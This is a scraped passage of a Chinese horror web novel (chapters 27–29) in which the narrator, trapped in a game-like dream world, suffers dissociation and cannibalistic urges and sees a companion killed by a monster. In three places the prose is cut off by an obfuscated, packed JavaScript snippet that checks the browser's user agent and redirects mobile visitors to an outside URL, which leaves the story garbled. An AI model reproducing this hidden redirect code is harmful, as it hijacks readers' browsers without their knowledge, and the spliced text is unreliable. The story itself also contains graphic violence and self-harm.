“为什么?”我原本一点儿也不感到疑惑,反而觉得这样置身事外,最起码心里会好受很多,一听萧鸮这么说,才意识到事情似乎已经很严重,“其实这样……像个幽灵,我觉得还蛮好玩的。” 说着,我在半空中轻巧地翻了个筋斗给她看,双腿分解成烟雾般的微小颗粒,跟在我后面画了个圈。 “你这头小笨猪!” 萧鸮抓狂万分,一副下一秒就要暴走的样子,“在这个副本中,梦境是心理状况的投射,能反映出心境的变化过程。在梦境中出现了意识脱离肉|体的现象,这说明现实中的你已经人格解离了,所以你不会哭不会闹,自然也就不会崩溃。 “换句话说,你已经麻木了,无法产生正常的情绪反应,这是非常危险的!” “副本?”我不想让她担心,于是装作跑偏重点,疑惑地跟着重复,“这不是全息游戏吗?” “你……”她狐疑地看着我,仿佛面对着一个陌生人似的。 哦对,忘记告诉她了。我赶紧说:“我失忆了,现在只恢复了部分记忆,还有很多事情没想起来。” “失忆了?!”萧鸮突地瞪大眼,雾气做的眼珠子都快掉出眼眶了,“什么时候的事,你怎么不早说!” “就……第一天的晚饭前几个小时。” 被她一责怪,我也有点儿心虚。 “哎哟,完了完了,这次我只能进来十分钟,我看看过去多久了……” 和上次一样,说着说着,她的目光再次向右下角飘移了一瞬。一刹那间,我脑海中迅速闪过自己睡前用电脑听录音的画面,于是猛然意识到她究竟在看什么—— 电脑屏幕右下角的状态栏,显示的不就是时间和日期吗! “糟了,光顾着给你当心理医生,要来不及了。接下来你不要说话,专心听我说!” 一瞅时间,萧鸮肉眼可见地慌乱起来。 我点点头。 “按照你失忆的时间点来看,我猜是因为入侵者的异能领域强硬地挤进来,与我的异能领域发生了碰撞,二力角逐,余波对你的大脑造成了冲击,所以你才出现了记忆缺失的情况。” 这我能听明白,就像两个大陆板块碰撞挤压,交界处地震频发,地壳弯曲变形,形成山脉或高原。 放在大自然中是形成奇观,放在我身上就是失忆……要么说人倒霉喝凉水都会塞牙缝呢。 “但这不是重点。重点是,入侵者只知道你扮演侦探,但由于私家侦探本来就会伪装成其它身份前来调查,所以ta很有可能到现在都不知道你是谁! “虽然我还不清楚入侵者的意图是什么,但对于刻意接近和试探你的人,你一定要提起百分之两百的戒备心啊!” 完了,晚了,早都白给了。 我心头顿时凉了半截。 萧鸮怎么不早说!那家伙已经跟我自爆身份了! 我现在才后知后觉地意识到,柳白巳完全可以一换一,用他自己的身份来换取我的身份信息和信任,试探我是否就是侦探。 而且,假如他在入侵之初就能自由选择所要扮演的角色的话,在已知初始玩家就是“私家侦探”的情况下,倘若是我,也会选择“委托人”这一身份—— 因为只有“委托人”,和作为“私家侦探”的“我”接触过,要找出“我”来也最容易! 此处的“我”,指的是没有载入玩家意识的空壳NPC,也即在我进入“副本”扮演侦探之前,初始预设的那名注定要被雇来调查婚外情的私家侦探。 眼见她指尖的硬币 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609686|172143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 残影越来越清晰,我心知她即将脱离梦境,暗叫不妙,连炮珠般急忙问:“你用这副样子出现,还有这枚硬币,到底是什么意思?” 伊德海拉雕像惟妙惟肖,眼纱下的丰唇无端端露出一丝神秘的微笑。 萧鸮的人格似乎已经退场了,此刻站在我面前的,就是那位游走于梦境间的古老神明。 “待在这里越久,就越分不清虚幻和现实。我在告诉你,离开这里的方式……” 她退出梦境的速度比我想象中的要快,一句话甚至尚未来得及说完,整座雕像便化作齑粉,从我伸出的指缝间消散了。 快得令我隐约生出种错觉——我好像什么都抓不住。 我直愣愣地看向前方,不知过了多久,天花板上那几行字的轮廓在昏天黑地里依旧朦朦胧胧,并没有变得更加清晰。 但一个挥舞着双翼的男人在虚空中渐渐显出身形。 他身姿矫健,头戴黑羽与罂粟编织而成的冠冕,时而安详地睡在洁白的羽毛间,睡在一张黑沉沉的床上,睡在红艳艳的罂粟花丛中,睡在伸手不见五指的洞穴里;时而徒劳地拼命扇动翅膀,却丝毫无法阻止自己像一颗流星般划破天际,高高地自空中直直坠落,满脸绝望。 我目眦欲裂,眼睁睁看着那颗由神祇化作的流星裹挟着毁天灭地之势朝我面中砸来,本能地抬手去挡—— 无事发生。 我这才慢慢醒悟过来,自己不知何时已经睁开了眼。 但是睁着眼的又何止我一个。 柳白巳睡前并未拉上厚重的猩红窗帘,甚至连内层的纱帘也忘记关。 于是我背对着他,毫无阻碍地将外面触目惊心的惨象尽收眼底—— 窗外,不祥的猩红天幕下,断壁残垣里余烬未熄,漆黑浓烟一股股直往上蹿。 它们究竟要去向何方?似乎总也没有尽头。 日光和月光无法触及的幽暗角落,是我视线总不敢过多停驻之处,好似那些地方潜藏着一双双满载着恶意和贪婪的眼眸,多看几眼,就会与之对上,而后被盯上,如附骨之疽。 它们窥伺着这间酒店里散发着鲜美香气的几个活人,却又忌惮着什么般,始终不敢贸然闯进来。 窗内,却是与其截然不同的一派温馨。 一条结实的手臂横亘于我腰间,因此我一有动静,柳白巳便窸窸窣窣地凑过来,将我翻了个面,朝向他。 随后,如羽毛拂过般,柔软的嘴唇在我眼皮上落下一枚轻吻。 这还没完,恋恋不舍似的,他又在左眼上方轻轻啜了一口。 反应这么快,他似乎根本没睡。 他轻轻拍着我的后背,像哄孩子那样,极尽温柔地低声道:“又做噩梦了吗?” 我没答话,只是吸气、呼气……呼吸声一下比一下沉重。 柳白巳也不问我为什么不回答,只是又说:“有我守着你,天还没亮,再休息一会儿吧。要是还做噩梦,我会及时叫醒你。” 躺在他终于变得温暖许多的怀里,我却有些睡不着了。 中国的志怪小说中,常谈起山妖精魅,倘若寻着落单的过路人,便一口吞下,以增长自己的修为。 这些精魅好歹还图一口人气。放在眼下,我一时竟然想不明白他到底图我什么。 我心情实在很乱很糟糕,于是抱着“我睡不好你也别想睡”的念头推推他,说:“柳白巳,起来——” 手腕忽然被扯了一下,话险些卡在喉间。 柳白巳不明所以地坐起来,手臂仍然放在我腰上,保持着拥抱我的姿势。 借着烈焰般熊熊燃烧的通红月光,我看得分明,他一头绿松松的发稍微有些蓬茸,脸上却毫无倦意,一点也不像刚从睡眠中被惊醒。 “你……” 我一皱眉,突然反应过来腕间的怪异触感,便将手从被子里挪出来。 27. 第四天始(2) 一挪,竟然没挪动,手臂还扭了一下。 我当即踢开被子—— 冰冷的金属质地,在红光下隐隐泛出粉色,与套在柳白巳身上那件衬得他像只超大号卡通兔子的睡袍在色调上有异曲同工之妙。 另一头就拷在笼杆状的温莎床头上——呵,想不到这酒店陈设正巧便利了他行事啊。 再定睛一瞧,内圈竟然还贴心地细细密密铺着一层绒毛,以防硌得我骨头生疼—— 但这并不能解释他为什么要在我手上戴手铐,而我竟对此毫无察觉?! 我什么时候警惕性这么低了?! “解释一下。”我冷声道。 “啊,一些小道具而已,人家想看看用在你身上是什么样子的嘛。” 柳白巳一脸无辜,伸手拉住我的手腕。 血红月光下,他细细端详着我戴着钢铐的手,拇指在我腕骨上轻微摩挲了两下。 诡异、失控、疯狂……诸多说不清道不明的情绪在他眼中飞快流转闪烁,两颗菱形红点渐渐浮现于眼瞳中央,仿佛海上风暴大作,要将我这一叶扁舟吸入漩涡…… 仿佛他就是灾厄本身。 我头皮炸开,惊疑不定,紧紧盯住他,然而眨了眨眼——又不见了! 他黑白分明的桃花眼仿若经水涤荡过,很干净的样子,此刻更是十分纯真地望过来——就好像我若是察觉到什么邪念,那一定是我以小人之心度君子之腹,而不是他居心不良。 “没把你弄难受吧?这可是情趣专用哦,里侧还有——嘶!干嘛踹我!” 我被子底下的腿狠蹬了他一脚,换来他一记讨饶般的可怜眼神,湿漉漉水淋淋。 “解开。” “这个……不行哦。” “为什么?” “我是不会让任何人伤害你的,包括你自己。” 他凑得很近,吐息清凉,瞳仁黝黑,点墨一般,我从中看见了自己的身影。 “哪有人伤害我?我看你才是,得不到的就要毁——” 等等。 我沉吟不语,凝视着他靡丽的面容,回想起萧鸮前不久曾对我说过的话,恍然大悟。 “你是说……我,在无意识自残?” “反正我以前从来不知道你还会拿手腕磨牙,你怎么这么多我不知道的事。” 柳白巳很委屈地瞧着我,嘴角噘得老高,“还说我得不到的就要毁掉,为什么不是得不到的就更加爱?你总是把我想得这样坏……” 还唱起来了。我没管他还要如何无理取闹,径自转身,弯腰低头,眼睛凑到手腕前,借着凶兆般的月光,勉强观察到掌根下约二指处,已被平平整整贴上一张创可贴。 环铐和腕骨之间的间隙其实足够宽松,只是仍不足以将掌骨扯出来罢了。我又随意扭动了两下手腕,还没来得及感觉到痛,已被他如临大敌般一把捉住。 “不许动。”柳白巳表情很严肃,“你知道自己的犬齿很尖锐吗?差点儿没把自己的手咬出这——么深两颗血洞,眼看就要伤到血管了呢。” 说着,他比划了一下,嘴里还很配合地拉长了音。 我用舌尖舔了舔上犬齿,还真是,尖得舌肉都陷下去一块,遂禁不住笑道:“我又不是吸血鬼,怎么可能咬这么深,用创可贴也太夸张了吧。” 然而,这次许久都没听到他当捧哏。 这家伙,哑巴了? 我诧异地抬起头,刚想看看他是不是傻到坐着坐着就睡着了,却蓦然被迎面抱了个满怀,毛乎乎的脑袋又无赖地埋进我肩颈,鼻尖和嘴唇紧紧贴住我的皮肤,亲密无间。 他的气息不再冰寒了,香喷喷、暖融融,而且毛茸茸的东西也很容易让人产生慰藉感。 “小夏,你一定不要有事,好不好?不要夺走我的幸福……” “柳白巳。” 听着他在我耳畔做梦般呢喃,我却像被泼了盆冷水,神智瞬间清明。 “嗯?”他很迷茫地回应我,仍然像块小糖糕似的,黏糊糊抱着我没撒手。 “我问你,W——不,戴利,和侦探之间,有没有感情线?” 这问题问他合不合适我不知道,但他大概是除了萧鸮之外唯一的知情人。 “当然没有,戴利是gay,侦探是女性,两个人之间只是冷冰冰的钱权交易关系,怎么可能会有感情戏码?” 柳白巳哭笑不得,胸腔带起的震动一阵阵传进我胸口,“你怎么突然问这个?” “因为我有必要确认你没有活在虚幻里,没有像我一样,渐渐模糊了假象与真实之间的界限。” 我挪开身体,将戴着钢铐的手腕露出来,向他展示那张创可贴。 或者说,向他展示被藏在那张创可贴底下的伤口。 柳白巳的目光轻轻落于其上,忽地怛然失色。 他的嘴唇毫无血色,发着抖,丹砂般的诡谲月辉为其染上一层乱人心智的口脂。 他问我:“你……你什么意思?别吓我……” 我心有不忍,但还是决定如实告诉他:“待在这里越久,就越分不清虚幻和现实。无论是这块我自己咬出来的伤口,还是这根多出来的尸斑手指,都有可能是我的下场。” 我不知道他身上有没有出现什么异常现象,但发生在我身上的怪事已经不止一件。再不回到现实,后面还不知道有什么邪乎的事在等着我。 柳白巳究竟是好是坏、是何居心,我已不想再去深究,坦白与否全看他自己。因为这一切,在我身上频发的异常面前,已经变得无关紧要。 姑且就把他当作情感寄托,好像也不错。 说不定我还能在彻底迷失之前,体验一把缠绵悱恻、纠葛难解。 “我……” 嘭!嘭!嘭! "Summer,areyoustillalive?Ifyouareinside,pleaseanswerme!(夏,你还活着吗?如果你在里面,请回答我!)" 嘭!嘭!嘭! 一阵狂风暴雨般的砸门声猛然打断了柳白巳的话头。他眉尖一蹙,如梦方醒,面上哀悯恻然的神色逐渐褪去,咔哒一声解开了拷在床杆上的那半边钢环,并用已经清明的眼神示意我去应门。 Damnit!我心中暗骂一句。 早不来晚不来,偏偏卡在这个节骨眼上来!就差临门一脚,我就能把他的话套出来了! 对待柳白巳这种鬼精鬼精的家伙,就得用自己当赌注,以身入局,才能骗他说实话。 譬如几个小时前我在五楼遇险,生死攸关之际才逼得他不得不现身出手救下我,否则,我还不知道要在鼓里蒙多久。 一想到我之前被“黛西”骗得团团转,柳白巳还指不定在暗地里笑话我,我就一肚子火。 我都已经成功给自己洗脑,说服自己爱着他、信任他了,结果被这么一打岔,险些出戏。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609687|172143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 希望柳白巳没有发现才好。 至于柳白巳是否真的如他所表现的那般爱慕我,我仔细观察过后,基本上可以确定他所言非虚。 表情可以伪装,言语可以说谎,但心跳呢?呼吸呢?眼神呢?更细微的微表情呢? 我相信生理反应不会骗人,否则截至目前为止,世界上一切测谎手段,都将毫无意义。 只是那对我而言,有什么意义呢?我谁都不相信,只相信我自己。 况且他这个人,本身就是一个巨大的谜团。 比如语焉不详的恋爱经过,比如闯进萧鸮异能领域的真实原因(他真的是因为以为我被困在这里才入侵的?对此我持保留态度——如果真的是来救我的,为什么不一开始就向我表明来意,而是将错就错利用NPC的假身份将自己隐藏在人群中?总不能是救到一半不打算救了吧),再比如他的异能效果到底是什么…… 在弄清楚这一切之前,我不打算相信他。 我挣开他的手臂,穿上拖鞋下床,站定于门后,对着猫眼一瞧—— 是莫莉。 "Relax,I''mstillalive.(放轻松,还活着。)"我应了一声。 第四天开始了,中文补丁在用它独特的方式提醒我。 同时我也不免觉得有些可笑:我们打招呼的方式,竟然是互相问对方还活着吗。 “那就好、那就好……”莫莉嘴里喃喃重复道。 猫眼里的她头大身子小,一副魂不守舍的模样,仍然是昨天那一身,只是衣服和头发不再整齐洁净了,皱皱巴巴的,沾着些干硬发黑的血迹。 顷刻间,我脑中飞快回放起柳白巳自如变换发色的录像——“你在失忆之前看到了什么?突然晕倒,真把我吓了一跳呢。 “我只是回来换个衣服的功夫,你就醒了,不管怎么说,这总算好事一桩。” 可不能让她发现我丢下她独自一人,不……总之就是先回来了。 “你在说什么呢……” 透过猫眼,那个脸孔跟条大饼鲶鱼似的莫莉皱了皱眉,冷不丁打了个寒噤,似乎正在被逼迫着回忆自己所不愿回忆的事物,“你不是也在场吗,那个两米多高的怪物,浑身是血,肚子上还……太可怕了,我真的不想再想起来了。话说回来,它还是……你,击毙的呢。” 说到最后几个字时,她因惊恐而不由自主变得高亢的嗓音陡然压低下去。 几不可闻,但还是叫我听见了。 啊,对,就是这样。 她想起来我有枪了。 这也间接说明了,她的确是真的莫莉,没有被顶替,也没有被冒充。 那就试探到这里吧。 与她隔着一道门,我忍不住露出笑容:清楚地认识到自己居于相对安全的暗处,这让我感到十分满意。 我问她:“柯林斯先生和李先生呢?他们回来了吗?” 话甫落地,腰间便立刻缠进一条结实手臂,背后贴上来一堵墙似的凉冰冰躯体,密不透风。 紧接着,我的耳朵尖被很不满地轻咬了一下——“为什么要提别的男人?” “有毛病啊你,说正事呢。” 我小声嘟囔,没管他,任由他自己生闷气去。 “回来了,就在餐厅。”莫莉回答。 说罢,她骤然想起什么,表情一瞬变得凝重,又道: “斯科特女士不见了。” 28. 高潮迭起(1) 和莫莉约好五分钟后在餐厅会合,我拖着身后的狗皮膏药艰难地挪回内间,半道上倏然记起些什么,便停下脚步。 柳白巳纳闷地歪了歪头,“怎么不走了……” 啪! 话音未落,一记响亮的耳光已回身扬在他脸上。我忍无可忍怒道: “你为什么不提醒我,我把莫莉忘在五楼了?” 还搁这儿嘚吧嘚吧,烦死了! 一想到莫莉竟然被孤零零地扔在险象环生的五楼,醒过来一看:全然陌生的环境,满地鲜血和断肢残骸,身边又一个活人都没有——可怜见的,还不知道得有多害怕! 我脑子乱成一锅粥了不说,难道他也跟着一起,大脑彻底停摆了吗?! 柳白巳捂着脸,没作声。丝绸般顺滑的乌发垂下,导致我看不清他的神情。 但我注意到,他的身体像拧上了发条的蝴蝶一样,细细颤抖着,仿佛他身上正在发生一场小规模的地震。 怎么了?是太过愤怒、太过屈辱,所以终于忍不住,要露出真面目了吗? 像虾背那样,我立刻紧紧绷起,身体自动进入警戒状态—— 手铐还没解开,要是他突然攻向我腹心,我该如何应对?枪大概率还在枕头底下,现在扑进卧室里去拿还来得及吗…… 我正全神贯注思考对策,只留一抹余光在他身上,密切关注他的动向…… 然而戒备了好半天,出乎意料地,却见对面的柳白巳什么也没做。 他唯一做的,只是缓缓抬头,下眼睑泛出一抹冶艳淡红,妖异的瞳孔炯炯发亮,唇角上扬的弧度不断加深,呼吸也愈发粗重。 像是在隐忍,同时又很兴奋。 我还以为他会恼羞成怒——男人不都喜欢把那无用的自尊心挂在脸上么?但有眼睛的人都能看出来他的反应不对头,不说和恼羞成怒一模一样,只能说是毫不相干。 而且他的眼神也实在很奇怪,简直要把我盯化了,但又什么都不说,我头一次觉得自己读不懂人类的情绪。 深呼吸一口气后,他放下捂住颊侧的手,露出了六指分明的手掌印,在那张雪白的面皮上极其显眼。 我的视线不由自主跟着他垂下的手走,眼神才落到暴起青筋的手背上——静脉血管在重力作用下产生了生理性扩张,余光却瞥见睡袍下凸起的某处,登时瞪大了眼,迅速扭开头—— 这简直太匪夷所思了! “你……我……” 我觉得事情已经远远超出我的理解范围了,我跟第一次使用自己的发声器官一样,话都囫囵说不明白,“你……你有受虐倾向吗?这是你本人的癖好,还是角色需要?” 他没作声,只是直勾勾盯着我瞧,一双眼珠子幽绿幽绿,黑洞似的,盯得我头皮都发麻。 实在太不可思议了。好一会儿,我才终于找回自己组织语言的能力,张嘴就骂:“你是狗吗?为什么连挨巴掌都会发情?!” 明明是在对他发火,怎么反倒变成奖励他了?! 要是管不住的话,还是剪掉为好。 “对不起,吓到你了吗?”柳白巳终于不装聋作哑了,然而嘴上虽然道歉,可是我瞧得清清楚楚,他眼里那股子兴奋劲儿分明一丁点儿也没有要消退的意思! 我真想再扇他一巴掌。 不过也得益于这一巴掌和他的诡异反应,我神志总算清明许多。 跟我昨晚差点把笔记本电脑摔了的那一幕很相似,都是莫名其妙怒火攻心,然后做出一些我平时绝对不会干的事情,就像大脑突然被另一个人操控了似的。 这真的不是巧合吗? “拿掉。”我把手往他面前一送,命令道。 大约是自知理亏,他很听话地给我取下了手铐。 “滚回你房间去,五分钟后餐厅会合。” 我毫不留情地把他赶出去,这回他总算再没有赖着不走了。 五分钟委实太短,我匆匆换好一身便于行动的衣服,吸取上次的经验教训,把枪藏在触手可及的口袋里,然后带上房卡,赶紧跑向餐厅。 推门入内,我一眼便瞥见了神情憔悴的莫莉,不过她看起来已经比刚才好多了,希望被丢下这件事不要在她心底留下阴影,我对此很愧疚,只能尽量补偿她了。 沃克还是那样气定神闲,虽然面上倦容难掩,眼下也有些青黑——咦,他左手无名指上的婚戒怎么不见了? 仔细想想,昨天大家打算分头去搜集资源的时候,他好像也没戴婚戒。目前已知他的的确确戴了婚戒的场景,应该就只有在走廊上叫住我那一幕。 精神状况最糟糕的莫过于莱特。他面色灰暗、眼窝深陷,眼白仿佛笼罩着一张血红的网,黑眼圈浓重得可以去动物园扮熊猫,似乎已经完全失魂丧胆了。向来精心设计过的发型乱成了一团鸡窝,衣服皱皱巴巴,还残留着因过夜而发酸的浅淡酒气,闻着真让人想呕吐。 “夏,你来了。” 莫莉最先招呼我,但她的目光落在我左脸颊侧时,眼里流露出了明显的错愕。 怎么了吗? 我摸了摸左脸,很光滑,短发被别到了耳后。没什么异常啊? 她又看了看我的右脸,才道:“夏,你左耳的耳钉呢?” 耳钉? 我蓦地一惊,连忙抬手去摸耳垂——果然空空如也! 再摸右耳,那颗钻石还好端端呆在上头。 所以是什么时候弄掉了吗?因为它们小小一颗,平时完全不妨事,所以我洗澡睡觉的时候从来没摘过,现在竟然莫名其妙消失了。 “耳钉而已,没了就没了。”我答。 大不了再买就是了。 “那颗钻石火彩很好的。”莫莉很是替我惋惜。 是时候该办正事了。我问沃克:“楼下情况怎么样?” "Thereareseveralhumanoidmonsterswanderingaround.Atfirst,lookingattheirbacksfromadistance,theywerenodifferentfromrealpeople,atmosttheirclotheswerealittledirty,almostdeceivingme.(有好几个人形的怪物在游荡。一开始,从远处看背影,它们与真人无异,最多也不过就是衣服脏了些,差点儿把我骗过去。)" 沃克始终很冷静地陈述着,似乎只是在转述一部看过的电影情节,但我见他领带歪斜,衬衫袖子也高高卷起,露出的健硕小臂上血迹斑斑,便知他一定也经历了一场恶战。 “所以他这是……”我上上下下审视起莱特。 他坐在沃克背后,离我们稍远,双目呆滞,仿佛魂灵离体已久,无论旁人说什么也无法入耳。 但那或许是因为过于疼痛,所以无法给出更多的反应—— 他裤子破破烂烂,大腿上那片约有我一掌宽的狰狞伤口,表皮完全被活生生撕掉了,露出里面粉红色的肉质,正汩汩往外渗猩红的血珠和晶黄的组织液,雨后春笋似的…… 我幻痛地搓了搓手臂,真吓人。 换个人来估计早都痛昏过去了,他竟然还跟毫无所感似的,真能忍。 但是……又很新鲜的样子。 盯着那片裸露在空气中的肉,看着看着,我空荡荡的腹中竟渐渐泛起了一股莫名的渴望,很想扑上去,像吃甜筒一样,唇舌吸吮掉那些液珠,犹如舔舐掉冰凉的奶油,然后用四颗尖尖的犬齿,狠狠咬进细嫩的粉红色肌肉里——噢,我甚至连皮也不必费心剥去,这简直是为了接下来的进餐预先准备好的:我扑在他腿上,大快朵颐,臼齿用力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609688|172143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摩擦脂肪的声音像在演奏一首即将滑过喉咙的乐章,于是吞下的血肉与我腐蚀一切的酸性胃液共舞,直至消化殆尽,与我彻底融为一体…… “我来晚了,你们在说什么?” 这道突然插入的声音冷不丁打断了我的遐思—— 由远及近,一阵急促的脚步声径直越过莱特。 旋即,一只手轻轻搭上我的肩。 是柳白巳。 或者说,是又恢复成金发、穿上小裙子,打扮成“黛西”的,柳白巳。 我猛地惊醒,随后慢半拍地意识到,自己刚才居然正盯着莱特的伤口,一边舔着犬齿,一边不断吞咽唾沫,臆想他的血肉是什么味道…… 我赶紧转过脸,不敢再多看那片鲜血淋漓的伤口,顺带还低头瞟了一眼右手——那根恶心的手指还好端端地长在掌侧。 天知道在这股拼命才能勉强抑制住的冲动之下,我能干出什么事来。也许至今下落不明的伊丽莎白,就是对我的预警。 只是这么一来,一抬头,我的目光便自然而然落在了柳白巳脖颈间,果不其然又发现一条丝质choker,顿时恍然大悟: 难怪他一直戴着造型夸张的颈饰,原来是为了遮挡喉结,我还以为只是单纯臭美呢。 “你去哪儿了?” 莫莉深深皱起鼻子,眉目间投下一片阴影,漠然的眼神在柳白巳身上打转儿——我从没见过她这副冷若冰霜的表情,“我们都在累死累活地搜集物资和信息,你呢?你在干什么?睡大觉吗?” 柳白巳轻蔑地挑了挑眉,宛如挑衅:“我做什么,与你无关吧?” 在面对争端时向来只做隐形人的沃克这回竟然也发言了。他沉声道:“你怎么能这么说话?难道你不想逃离这里吗?还是只想坐享其成,什么也不干,还要分享我们的劳动成果?就连李都伤成这样了。” 说着,他拧开瓶矿泉水,递到莱特干裂的唇边。 神奇的是,莱特听见沃克提到自己,眼珠一轮,竟缓缓恢复了些光彩,只是仍旧不说话,接过那瓶水慢吞吞喝起来。 这下神智清醒的人,只有我没出声了。不说点什么也不合适,何况他们眼看就要吵起来,我也只好硬着头皮问道:“沃克,你哪里找到的矿泉水?能不能也给我喝一口?” “你想喝水?怎么不早说,我那里有啊。” 黛西,不,柳白巳,对沃克的质疑置若罔闻,全当没听见,丝毫不在意对方难看到极点的表情。 犹如医学奇迹般,我一开口,他的听觉却又恢复了,笑眯眯地往我跟前凑,微微弯下身子,鼻尖都快凑上我的了。一个劲儿往我鼻子里钻的,是他身上草木初生的清新香气,和他的人一样强势,全然不顾我面无表情地后仰躲避。 虽然这种明目张胆的偏爱的确让我很受用(我相信换成谁都会忍不住心花怒放,毕竟他长得赏心悦目是无可辩驳的客观事实),但大庭广众之下,这家伙想干嘛? 简直就像一头热情的金毛。 不对,不是像,他就是。 “你那里为什么还有矿泉水?你要对夏干什么?夏的耳钉是不是也是你偷——呃!” 莫莉面色铁青,背对大门,往这边走了两步,抬起手臂就要来隔开我和他。 千分之一秒之际,我头皮一紧,耳尖一动,心有所感,本能地瞪大双眼,越过柳白巳肩头,猛然朝大开的门口望去—— 她指责柳白巳的话在半路戛然而止。 “莫莉!” 我惊声尖叫,发了疯般甩开柳白巳就向她冲去。 可终究还是晚了一步。 噗呲—— 我瞪大眼睛看着这一切,因无能为力而产生的愤怒悲伤漫上心头。 吃过番茄吗? 一口|爆开,酸酸甜甜—— 正如此刻的莫莉。 29. 高潮迭起(2) 鲜血呈烟花状炸开,在那截纤细洁白的脖颈之上。 莫莉大睁着眼,橄榄绿色的眼珠直直望向我,喉间嗬嗬作响,身体如风中飘零的落叶,细细地发着抖。 颈动脉爆出的血花喷溅到她皱皱巴巴的素净衬衫上,斑斑点点,如作画般,为她染上一抹凄楚的色彩。 浓烈到刺鼻的血腥味登时争先恐后往我鼻孔里钻,一股不同寻常的饥饿霎时攫住了我,叫嚣着要吃空我的内脏,烧心的感觉直冲喉咙眼。 我一时几乎快站立不住,顿在原地,捂着肚子弯下腰,挤压住胃部,努力不让自己被饥饿吃掉。 伊丽莎白喉间一动,头颅一甩,浸渍着血迹的死白色假牙顺势松开,像扔颗烂番茄似的,将莫莉的身躯随意一扔。 而后,她紧盯住面如土色的莱特—— 他的手,竟然还保持着微微蜷曲的动作,仿佛莫莉衣领的幽灵还残留在掌心里。 “你、你……嗞嗞……回来、回来一次,我就能能能能……咔啦!杀你一次次次次次!” 听到这句犹如玻璃渣子的话,耳膜被扎得生疼的刹那间,我终于明白: 原来我房间的电视根本没坏。 坏掉的,是主持人。 嗞啦嗞啦—— 无数五彩斑斓的色块闪现于伊丽莎白周身,每一个为色块所覆盖的身体部位都发生了轻微的扭曲,并随机向左右平移了几个像素。其它没有出现色块的部分,则不断频闪着雪花,仿佛老式电视机出了故障。 “小夏,你的——” 在这无可匹敌的声浪攻击中,我像只被拔去了壳的蜗牛,无路可逃。 然而一道阴影倏地笼下来——柳白巳站在我面前,嘴巴张张合合,声嘶力竭地喊着什么。 那股饥饿似乎消退了些,我抬头,茫然地看着他——在这股炸麦般的回声冲击下,我的听觉已然报废,颅内完全被噪声所占据,根本听不清他到底在说什么。 见状,他面色一肃,如同下定了某种决心,猛地吸了一口气,屏住,然后撤掉捂住左耳的那只手,转而压在我的耳朵上,大喊: “枪!你的枪!拿出来!” 盯着他左耳耳垂上那颗光辉夺目的钻石,我终于听清了他不断重复的那个字。 我松开怀里紧抱着的莫莉,将她放到一旁的地上,然后从口袋里掏出贝雷塔,捏紧了,像过去的每一次一样,双臂平举到眼前。 毫不迟疑。 她尚有一线喘息,我知道。 我必须速战速决。 与此同时,连续不断的噪声总算消失了,伴随着那些象征着崩坏和异变的不祥色块,也一并无影无踪。 紧接着,更大的变故出现在眼前—— 支离破碎的伊丽莎白如同被打碎重组,异化成一种似人又非人的全新物种: 苍老的皮囊全被下面正潜伏蠕动的那东西撑得一丝褶皱也无,肿大双足将低跟皮鞋塞得满满当当,紫红条纹遍布暴露于空气中的皮肤表面,发黄发硬的钙化指甲约有半根手指长,末端还残余着星星点点的红色。 那是她展开这段旅程之前,为自己精心挑选并涂抹的指甲油。 “奥利弗,我想你。” 伊丽莎白喃喃道。 "Don''tkillme!(别杀我!)" 一见着我手里这支贝雷塔,莱特面色惨白,立即尖叫出声:“你们都这么看着我干嘛?小时候她故意把我丢掉,害我吃了那么多苦、受了那么多折磨,现在也不过是一报还一报,难道我有错吗?!” 他不说还好,一说,我的怒火登时蹭蹭往上涨,情绪立刻粗暴地挤掉了冷静和理智,占据了头脑的高地。我直接打断他的歇斯底里:“莫莉什么都跟我说了,我知道她不是故意的!你拉她挡刀,这跟故意杀人有什么区别!” “你又懂什么?!”莱特脸红脖子粗,失控地吼回来,口水都快喷到我脸上,“她为了让我回不了家,还专门写了一份周密详细的计划,并且全程都没有特地避开我,因为她有绝对的自信保证计划能够完美实施,所以根本不怕我会回来,向父母撕开她的真实面目! “她当时才十岁,就能为了成为家里唯一的孩子、独占父母的宠爱,而制定出这种可怕的计划,你能想象这个女人的心肠究竟有多么恶毒吗?” 莫莉怎么可能会做这种事?我气疯了,还要追着他骂,手心却突然被捏了下——愤怒地一回头,却见柳白巳连忙小幅度举起双手,海豹似的,对我附耳低语道:“看那边。” 我吵得正上头,心不甘情不愿地朝他示意的方向一瞥:伊丽莎白仍然执拗地面朝着莱特的方向,双目鼓胀,宛如一条濒死的比目鱼,两颗焕然一新的眼珠子瞪得马上就要掉出眼眶,就和五楼那东西一样。 “奥利弗,我想你。” 她重复道,这次声音大了些,震得我耳膜都快裂了。 